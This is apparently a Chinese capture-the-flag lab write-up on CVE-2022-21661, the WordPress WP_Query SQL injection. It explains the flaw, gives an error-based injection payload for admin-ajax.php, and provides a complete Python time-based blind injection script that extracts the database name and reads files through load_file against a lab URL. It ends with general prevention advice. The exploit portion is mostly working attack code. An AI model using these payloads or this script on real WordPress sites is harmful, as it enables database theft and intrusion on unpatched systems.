简介
CVE-2022-21661是一个与WordPress相关的漏洞,涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数,可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询,从而执行任意的SQL代码。
当WordPress的执行进入WQ_Tax_Query类的get_sql函数时,会调用transform_query函数来处理接收到的数据,并将其组合成SQL查询中的条件。然而,如果攻击者能够控制clean_query的返回数据,他们就可以控制SQL查询的执行。
具体来说,WQ_Tax_Query类中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函数可以接收并处理传递给它们的数据,并将其用于构建SQL查询。然而,如果在传递给这些函数的数据中存在某些特定的控制字符或序列,攻击者就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。
例如,如果攻击者在传递给clean_query函数的数据中插入某些特定的控制字符或序列,他们就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。在某些情况下,这可能会导致攻击者能够执行任意的SQL代码,从而对数据库进行访问或修改
靶场介绍
2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。源码位置:www.tar
漏洞利用
1.打开场景,下载源码
2.根据官方公布,漏洞存在路径/wp-admin/admin-ajax.php,进行访问
3.判断方法,post提交action=函数名,当调用方法正确即调用的WP_Query的构造方法的action无回显,当调用方法不对或者不存在返回0。
4.开启调试模式poc
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
5.exp
import requests
import time
def time_delay(url, headers, payload):
start_time = time.time()
response = requests.post(url, headers=headers, data=payload)
end_time = time.time()
#print(end_time,start_time)
delay = end_time - start_time
return delay
def time_based_blind_sql_injection(url, headers):
result=[]
for i in range(1, 100):
for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':
#find db
#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)
#find table
#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
#find table -wp%
#payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
#find column
#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
#payload = """{"id":" ()#"}""" % (i, j)
payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)
payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)
delay = time_delay(url, headers, payload)
print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)
if delay > 4:
result.append(chr(j))
print(''.join(result))
break
else:
print("The payload is not vulnerable to SQL injection.")
print('result:',''.join(result))
if __name__ == "__main__":
url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
headers = {
'Cache-Control': 'no-cache, must-revalidate, max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
}
time_based_blind_sql_injection(url, headers)
6.结果
预防
为了防止CVE-2022-21661漏洞和其他SQL注入攻击,可以采取以下几种措施:
- 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。这可以通过服务器端和客户端的验证实现。
- 参数化查询和预编译语句:使用参数化查询和预编译语句可以防止攻击者修改原始查询。这可以防止SQL注入攻击,因为参数值不会被解释为SQL代码。
- 使用最新的版本和补丁:及时更新软件和应用程序,并应用最新的安全补丁。这可以修复已知的漏洞,并提高系统的安全性。
- 限制数据库用户的权限:将数据库用户的权限限制为仅能执行必要的操作,并禁止执行其他可能不安全的操作。
- 加密敏感数据:对敏感数据进行加密,以防止攻击者访问和利用这些数据。
- 配置安全设置:根据应用程序的需要,配置安全设置,例如禁用不必要的数据库功能、限制远程访问等。
- 定期备份数据库:定期备份数据库,以防止数据被篡改或丢失。
- 安全审计和监控:定期进行安全审计和监控,及时发现并修复潜在的安全问题。